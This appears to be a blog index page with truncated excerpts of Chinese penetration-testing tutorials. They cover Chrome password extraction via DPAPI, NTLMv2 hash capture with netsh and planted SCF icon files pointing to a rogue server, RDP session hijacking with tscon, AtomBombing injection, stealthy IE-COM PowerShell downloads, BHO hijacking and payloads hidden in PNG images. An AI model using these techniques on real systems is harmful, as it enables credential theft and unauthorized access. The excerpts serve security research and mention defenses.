Good in study, attitude and health

  • 渗透技巧——离线导出Chrome浏览器中保存的密码

    0x00 前言 在上篇文章《渗透技巧——导出Chrome浏览器中保存的密码》介绍了导出Chrome浏览器密码的原理和利用方法,文末留下一个问题: 如果只获得了用户的ntlm hash,能否导出Chrome浏览器保存的明文密码呢? 该部分的参考资料较少,而想要解答这个问题,需要了解加解密的原理,所以本文尝试对该部分内容做介绍,得出最终结论 0x01 简介 本文将要介绍以下内容: DPAPI简介及相关概念 DPAPI加解密流程 离线导出原理 离线导出方法 得出最终结论 0x02 DPAPI简介 本节内容参考自如下链接,加入个人理解: https://msdn.microsoft.com/en-us/library/ms995355.aspx https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 DPAPI全称Data Protection Application Programming Interface 作为Windows系统的一个数据保护接口被广泛使用 主要用于保护加密的数据,常见的应用如: EFS文件加密 存储无线连接密码 Windows Credential Manager Internet Explorer Outlook Skype Windows CardSpace Windows Vault Google Chrome 使用简单,加密使用函数CryptProtectData,解密使用函数CryptUnprotectData即可,系统在后台自动完成其他复杂的加解密操作 CryptProtectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx CryptUnprotectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx 专有名词 DPAPI blob: 一段密文,可使用Master...

  • 渗透技巧——导出Chrome浏览器中保存的密码

    0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。 在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过利用LaZagne导出多个浏览器密码的方法。 本文将要针对Chrome浏览器,介绍具体的导出原理和利用方法,解决一个实际问题: 如何导出另一系统下Chrome浏览器中保存的密码? 0x01 简介 本文将要介绍以下内容: Chrome浏览器保存密码的方式 如何导出Chrome浏览器中保存的密码 常用方法的限制 如何导出另一系统下Chrome浏览器中保存的密码 0x02 Chrome浏览器保存密码的方式 正常用户在访问网站时,可选择使用Chrome浏览器保存登录的用户密码,用于下次登录的时候Chrome自动填写登录密码,如下图 在Chrome中可以查看保存的登录密码(需要提供用户口令),如下图 Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下: %LocalAppData%\Google\Chrome\User Data\Default\Login Data 实际测试: 测试系统: Win7x86 Chrome版本: 63.0.3239.132 定位SQLite数据库文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data 使用工具读取数据库文件,测试工具: SQLiteStudio 下载地址: https://sqlitestudio.pl/index.rvt 注: SQLiteStudio开源,特点是支持查看十六进制数据(SQLiteSpy不支持查看十六进制数据) 成功读取数据库文件保存的信息,但password段无法显示,如下图 选择Form view,查看十六进制格式,获得二次加密后的用户密码,如下图 注: 如果Chrome正在运行,无法使用SQLiteStudio打开数据库文件Login Data,可将该文件复制后再打开 0x03 导出Chrome浏览器中保存的密码 首先,编写程序实现读取SQLite数据库文件,这里选择使用python实现 开源代码很多,所以这里只给出一个示例 from os import getenv import...

  • 渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash

    0x00 前言 在文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了在服务器上通过Windows命令行抓包获取连接文件服务器的NTLMv2 Hash的方法,解决了一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 本文将换一种实现方式,通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,在伪造的文件服务器上抓包获取连接文件服务器的NTLMv2 Hash。 0x01 简介 本文将要介绍以下内容: 添加scf文件强制用户访问伪造的文件服务器 修改文件夹图标强制用户访问伪造的文件服务器 文件夹图标后门 防御思路 0x02 实现思路 利用SMB协议的特性,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录 在用户访问文件服务器时,如果我们能够欺骗用户访问伪造的文件服务器,并在伪造的文件服务器上抓包,那么就能获得用户本机的NTLMv2 Hash 所以关键是如何欺骗用户访问伪造的文件服务器,同时又保证隐蔽 欺骗用户访问伪造的文件服务器的方法有多种(钓鱼方式暂略),那么有没有当用户打开文件共享时,自动访问伪造文件服务器的方法呢?当然是有的,接下来主要介绍两种实现方式 0x03 添加scf文件强制用户访问伪造的文件服务器 其他文章对该方法已经有过介绍,参考资料: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ https://xianzhi.aliyun.com/forum/topic/1624 这里简要介绍一下原理 scf文件: SCF文件是”WINDOWS资源管理器命令”文件,是一种可执行文件,该类型文件由Windows Explorer Command解释,标准安装 包含三种类型: Explorer.scf(资源管理器) Show Desktop.scf(显示桌面) View Channels.scf(查看频道) 格式示例: [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop IconFile属性支持UNC路径,也就是说,可以指定文件服务器上的某个文件,例如IconFile=\\192.168.62.130\test\explorer.exe,3 特别的地方: 使用Explore.exe打开包含该文件的路径时,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标,如果图标位于文件服务器,就会访问该文件服务器 直观理解: 打开某一文件夹,该文件夹下面包含scf文件,scf文件的IconFile属性指向文件服务器,本机会自动访问该文件服务器,在访问过程中,默认先使用本机的用户名和密码hash尝试登录。如果文件服务器抓取数据包,就能够获得NTLMv2 Hash...

  • 渗透技巧——利用tscon实现未授权登录远程桌面

    0x00 前言 Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。 这会造成什么影响呢?这个方法能用在哪种条件下呢?结合利用方法又该如何防御呢?本文将要一一介绍 注: 本文使用tscon未授权登录的思路借鉴于如下链接: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 0x01 简介 本文将要介绍以下内容: tscon的正常用法 利用tscon实现未授权登录远程桌面的方法 应用实例 防御建议 0x02 tscon的正常用法 对于开启远程桌面服务的Windows系统,当有多个用户登录该系统时,会产生多个会话,如下图 测试系统: Server2012 R2 用户Administrator为本地登录 用户b为通过远程桌面服务(RDP)连接3389端口远程登录 接下来,如果用户Administrator想要切换至用户b的远程桌面,可通过右键-Connect进行连接,接着输入密码即可 如下图 tscon是命令行下使用的工具,可实现相同的功能 首先获取用户对应的sessionid,执行如下命令: query user 输出如下图 用户b对应的sessionid为2 通过tscon切换至用户b的桌面,命令如下: tscon 2 /PASSWORD:test123! 0x03 利用tscon实现未授权登录远程桌面的方法 在System权限执行同样的命令,就能够绕过输入密码的过程,直接切换 从Admin权限切换到System权限的方法在之前的文章《渗透技巧——从Admin权限切换到System权限》有过详细介绍,常用方法有如下三种: 通过创建服务获得System权限 利用MSIExec获得System权限 利用token复制获得System权限 选取其中的一种,获得system权限,接着输入如下命令: tscon 2 成功登录 0x04 应用实例一 对于Server2012 R2系统,默认情况下,通过mimikatz无法导出明文口令,测试环境下,通过某些方法获得了服务器的一个用户名密码,可以通过远程桌面进行登录 登录后发现后台存在另一用户...

  • 渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash

    0x00 前言 在上篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》比较了NTLM hash和Net-NTLM hash的区别,本文将继续对Net-NTLM hash在内网渗透中的应用作介绍,解决一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 0x01 简介 本文将要介绍以下内容: 在windows平台下不安装任何第三方依赖库来进行网络抓包的方法 将数据包转换成pcap格式 使用Wireshark对数据包进行分析 编写Python提取出NTLMv2 Hash 使用Hashcat对Hash进行破解 0x02 解决思路 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中提到,客户端在连接文件服务器时,默认会将当前登录用户的密码Hash发送至服务器进行验证,如果验证失败,需要重新输入登录用户名和口令 如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令 所以,接下来需要解决第一个问题: 如何在文件服务器上抓取数据包? 0x03 Windows平台下进行网络抓包的方法 最常用的方法当然是安装Wireshark,但如果能找到一种不安装任何第三方依赖库、系统自带、直接用来抓包的方法岂不是更好? 方法当然是有的。 通过Windows系统自带的netsh中的trace功能能够实现不安装任何第三方依赖库,在命令行下进行抓包 支持Win7、Server2008R2及以后的系统,但不支持Server2008 官方说明文档: https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx 注: netsh trace需要管理员权限 使用方法: 1.开启记录功能 netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp...

  • Windows下的密码hash——NTLM hash和Net-NTLM hash介绍

    0x00 前言 在Windows系统中,比较常见是从系统导出来的NTLM hash,通过Hashcat能够破解出明文密码。 Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。 NetNTLM具体是什么呢?又是如何获得的呢?本文受到byt3bl33d3r文章的启发,下面将结合自己的心得,介绍这部分内容 学习链接: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html 0x01 简介 NTLM hash和Net-NTLM hash区别 NTLM hash的加密方法 Net-NTLM hash的破解 0x02 NTLM hash 通常是指Windows系统下Security Account Manager中保存的用户密码hash 该hash的生成方法: 将明文口令转换成十六进制的格式 转换成Unicode格式,即在每个字节之后添加0x00 对Unicode字符串作MD4加密,生成32位的十六进制数字串 实际测试: 用户密码为test123 转换成十六进制的格式为74657374313233 转换成Unicode格式为7400650073007400310032003300 对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1 注: MD4加密可使用工具HashCalc,如下图 下面使用mimikatz导出用户密码的hash,对比进行验证,结果相同,验证成功,如下图 在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash 补充: Windows Vista和Windows Server 2008以前的系统还会使用LM hash LM hash的生成方法本文暂不介绍 自Windows Vista和Windows Server 2008开始,Windows取消LM...

  • AtomBombing利用分析

    0x00 前言 2016年10月,网络安全公司EnSilo的研究团队公开了一个支持所有Windows系统的代码注入方法,将其命名为AtomBombing。据说该方法能够绕过大多数的安全软件,并且利用的系统缺陷很难被修复。 于是,本文将要根据开源代码和资料,学习原理,测试功能,分析利用思路,总结防御方法 学习资料: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows 作者:Tal Liberman POC: https://github.com/BreakingMalwareResearch/atom-bombing/ 0x01 简介 本文将要介绍以下内容: AtomBombing实现方法 关键技术 防御思路 0x02 基础知识 1、Atom Table 是一个存储字符串和相应标识符的系统定义表 应用程序将一个字符串放入一个Atom表中,并接收一个16位整数(WORD)作为标识(称为Atom),可通过该标识访问字符串内容,实现进程间的数据交换 分类: (1) Global Atom Table 所有应用程序可用 当一个进程将一个字符串保存到Global Atom Table时,系统生成一个在系统范围内唯一的atom,来标示该字符串。在系统范围之内所有的进程都可以通过该atom(索引)来获得这个字符串,从而实现进程间的数据交换 (2) Local Atom Table 只有当前程序可用,相当于定义一个全局变量,如果程序多次使用该变量,使用Local Atom Table仅需要一次内存操作 参考资料: https://msdn.microsoft.com/en-us/library/ms649053 常用API: 添加一个Global Atom: ATOM WINAPI GlobalAddAtom(_In_ LPCTSTR lpString); 删除一个Global Atom:...

  • 渗透技巧——模拟IE浏览器下载文件

    0x00 前言 在之前的文章《渗透技巧——从github下载文件的多种方法》介绍了通过cmd从github下载文件的多种方法,选出最短的实现代码(长度为25)。 本文将站在另一角度,介绍Windows系统下模拟IE浏览器实现文件下载的方法。 模拟IE浏览器实现文件下载不仅能够绕过白名单程序的拦截,而且能在一定程度上隐藏下载行为。所以本文将站在利用的角度介绍具体的利用方法,结合利用方法总结防御思路。 0x01 简介 本文将要介绍以下内容: 模拟IE浏览器实现文件下载的多种方法 分析优缺点 总结防御思路 0x02 实现方法 由于方法众多,所以本文做了一个简单分类,整体上分为主动和被动两种模式。 主动模式代表通过命令主动实现文件下载,被动模式代表劫持用户行为,在用户打开IE时实现文件下载 其中,主动模式也要做一个区分,分为当前后台进程是否有IE浏览器进程iexplore.exe 具体方法如下: 1、主动模式 (1) 后台无IE进程 a) 调用IE COM对象 参考链接: https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/ 通过COM对象InternetExplorer.Application实现文件下载,后台进程为iexplore.exe powershell代码如下: $ie_com = New-Object -ComObject InternetExplorer.Application $ie_com.Silent = $True $ie_com.Visible = $False $Headers = "Host: <SNIP>.cloudfront.net`r`n" $ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers) while($ie_com.busy -eq $true)...

  • 利用BHO实现IE浏览器劫持

    0x00 前言 本文源于一个隐蔽连接的测试,模拟IE浏览器发起网络连接,能绕过某些防护产品拦截发起网络连接的第三方程序 模拟IE浏览器发起网络连接的方法有很多种,其中,利用BHO劫持IE浏览器存在诸多优点(开放接口、简单高效、功能丰富等),所以本文将要介绍BHO的开发和劫持利用思路 0x01 简介 本文将要介绍以下内容: BHO简介 开发BHO 利用思路 实际测试 防御 0x02 BHO简介 BHO,全称Browser Helper Object(浏览器辅助对象) 微软推出的作为浏览器对第三方程序员开放交互接口的业界标准 BHO的作用: 获取浏览器行为,如“后退”、“前进”、“当前页面”等 控制浏览器行为,如修改替换浏览器工具栏,添加自己的程序按钮等 BHO依托于浏览器主窗口, 与浏览器实例生命周期一致,即浏览器页面打开时BHO对象运行,页面关闭时随之结束 使用BHO时需要注册,相当于写入注册表,位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper\ Objects\{GUID}和HKEY_CLASSES_ROOT\CLSID\{GUID} 0x03 开发BHO 本节仅作简要介绍 开发工具: VS2012 1、生成dll 新建-Visual C++-ATL 添加-类-ATL-ATL简单对象,设定简称为HelloWorldBHO,选中IObjectWithSite(IE对象支持) 修改以下文件: HelloWorldBHO.h HelloWorldBHO.cpp dllmain.cpp HelloWorld.rgs 注: 详情可参考http://blog.csdn.net/feier7501/article/details/11266345 helloworld.rgs内保存BHO的GUID,如下图 HelloWorldBHO.rgs内保存BHO的名称,如下图 helloworld.rc内的CompanyName代表发行者,PRODUCTVERSION代表版本,如下图 注: 以上三个图对应下文加载项的显示信息 HelloWorldBHO.cpp保存IE浏览器中不同事件对应的操作,这里仅介绍一段实例代码(详细代码参照开源工程),实现当页面加载完成时,弹框显示当前URL,关键代码如下: void STDMETHODCALLTYPE...

  • Invoke-PSImage利用分析

    0x00 前言 最近在github看见一个有趣的项目:Invoke-PSImage,在png文件的像素内插入powershell代码作为payload(不影响原图片的正常浏览),在命令行下仅通过一行powershell代码就能够执行像素内隐藏的payload 这是一种隐写(Steganography)技术的应用,我在之前的文章对png的隐写技术做了一些介绍,可供参考: 《隐写技巧——PNG文件中的LSB隐写》 《隐写技巧——利用PNG文件格式隐藏Payload》 本文将结合自己的一些心得对Invoke-PSImage进行分析,介绍原理,解决测试中遇到的问题,学习脚本中的编程技巧,提出自己的优化思路 Invoke-PSImage地址: https://github.com/peewpw/Invoke-PSImage 0x01 简介 本文将要介绍以下内容: 脚本分析 隐写原理 实际测试 编程技巧 优化思路 0x02 脚本分析 1、参考说明文件 https://github.com/peewpw/Invoke-PSImage/blob/master/README.md (1) 选取每个像素的两个颜色中的4位用于保存payload (2) 图像质量将受到影响 (3) 输出格式为png 2、参考源代码对上述说明进行分析 (1) 像素使用的为RGB模式,分别选取颜色分量中的G和B的低4位(共8位)保存payload (2) 由于同时替换了G和B的低4位,故图片质量会受影响 补充: LSB隐写是替换RGB三个分量的最低1位,人眼不会注意到前后变化,每个像素可以存储3位的信息 猜测Invoke-PSImage选择每个像素存储8位是为了方便实现(8位=1字节),所以选择牺牲了图片质量 (3) 输出格式为png,需要无损 png图片为无损压缩(bmp图片也是无损压缩),jpg图片为有损压缩。所以在实际测试过程,输入jpg图片,输出png图片,会发现png图片远远大于jpg图片的大小 (4) 需要注意payload长度,每个像素保存一个字节,像素个数需要大于payload的长度 0x03 隐写原理 参照源代码进行举例说明(跳过读取原图片的部分) 1、修改像素的RGB值,替换为payload 代码起始位置: https://github.com/peewpw/Invoke-PSImage/blob/master/Invoke-PSImage.ps1#L110 对for循环做一个简单的修改,假定需要读取0x73,将其写入第一个像素RGB(0x67,0x66,0x65) (1) 读取payload 代码:...